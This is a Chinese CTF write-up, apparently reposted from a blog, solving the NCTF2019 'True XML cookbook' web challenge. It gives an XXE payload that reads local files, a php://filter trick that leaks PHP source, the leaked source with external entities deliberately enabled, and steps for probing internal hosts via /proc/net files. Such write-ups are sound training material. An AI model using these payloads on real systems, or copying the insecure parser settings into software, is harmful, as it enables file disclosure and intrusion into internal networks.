首页 > 其他分享 >WEB|[NCTF2019]True XML cookbook

WEB|[NCTF2019]True XML cookbook

时间:2023-05-06 15:22:29浏览次数:40  
标签:XML WEB 读取 HW username result net cookbook proc


题目提示XML,直接抓包注入XML

<?xml version="1.0" ?>
<!DOCTYPE lkj [
<!ENTITY admin SYSTEM  "file:///flag">
]>
<user>
	<username>&admin;</username>
	<password>1</password>
</user>

读取失败

修改payload读取/etc/passwd文件成功说明payload没有问题,应该是没有flag文件或者不允许直接读取

读取当前doLogin.php文件源码

php://filter/convert.base64-encode/resource=doLogin.php


base64解码得到源码,密码可以解密出来但是登录失败,这里也没有关于flag的信息,所以应该不是这个方向

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

读取hosts文件看是否有ip信息,也没有

看了其他wp是读取/proc/net/arp,发现存在内网主机10.128.253.12

IP address HW type Flags HW address Mask Device
192.168.1.151 0x1 0x2 00:e0:4c:19:1a:98 * eth0
192.168.1.1 0x1 0x2 00:14:78:e7:c4:e8 * eth0

每个网络接口的arp表中dev包的统计
IP address:IP地址(直连)
HW type:硬件类型
23=0x17 strip (Metricom Starmode IP)
01=0x01 ether (Ethernet)
15=0xf dlci (Frame Relay DLCI)
Flags:
HW address:MAC 地址
Mask:
Device:所在网络接口

内网探测常见文件

/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

访问10.128.253.12,失败

爆破下内网地址,全部失败,看了别人的wp说是需要看/proc/net/fib_trie,得到10.244.80.213

由于BUUCTF转用了K8S管理,他的靶机容器是随机在80,81两个网段里的 具体情况看/proc/net/fib_trie


继续访问10.244.80.213,失败继续爆破

最终在10.244.80.116找到flag

flag{d6fcfdff-5d3c-461c-944c-ce4f091af9e7}

标签:XML,WEB,读取,HW,username,result,net,cookbook,proc
From: https://www.cnblogs.com/scarecr0w7/p/17377305.html

相关文章

  • WEB|[MRCTF2020]套娃
    查看网页源码发现代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333'&&am......
  • Net Core Web Api 配置Swagger
    一、创建NETCoreAPI项目NETCore版本:NETCore2.21.创建coreweb应用程序2.选择API3.下图为生成后的项目二、安装Swagger1.打开NuGet包管理器2.搜索Swashbuckle.AspNetCore安装在项目上3.点击我接受三、配置Swagger对于ConfigureServices和Configure的配置点击可参考1.ConfigureS......
  • WEB|[SUCTF 2019]Pythonginx
    源码@app.route('/getUrl',methods=['GET','POST'])defgetUrl():url=request.args.get("url")host=parse.urlparse(url).hostnameifhost=='suctf.cc':#解析主机名,不能是suctf.ccreturn......
  • WEB|[HITCON 2017]SSRFme
    源码110.244.80.206<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$http_x_headers=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR']=$http_x_headers[0];}#获取......
  • WEB|[De1CTF 2019]SSRF Me
    页面代码为python代码,题目提示为SSRF,并且flagisin./flag.txt格式化代码#!/usr/bin/envpython##encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.se......
  • 一统天下 flutter - 存储: shared_preferences - 用于操作 android 的 SharedPreferen
    源码https://github.com/webabcd/flutter_demo作者webabcd一统天下flutter-存储:shared_preferences-用于操作android的SharedPreferences,ios的NSUserDefaults,web的LocalStorage示例如下:lib\storage\shared_preferences.dart/**shared_preferences......
  • django的web项目中重定向页面时的部分信息传输——以删除含有分页的列表记录为例
    问题:在管理系统界面往往是有分页的,初次编写列表的删除功能时很可能会出现删完之后页面跳转到第一页的问题,或者筛选完之后删除某一项结果删完之后跳转到未筛选页面。与实际分页管理的效果大庭相径。解决思路:1.起初只遇到了分页的情况,解决方法很简单,在删除按钮的href中直接传值,例......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......
  • Web|Buuctf [NCTF2019]SQLi
    直接给出了查询语句select*fromuserswhereusername=''andpasswd=''构造语句查询,发现有过滤fuzz一下,很多参数都被过滤robots协议下发现hint.txt文件hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag解题思路无......
  • SpringWeb Flux入门
    新建项目,加入依赖:<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-webflux</artifactId></dependency><dependency><groupId>org.springframew......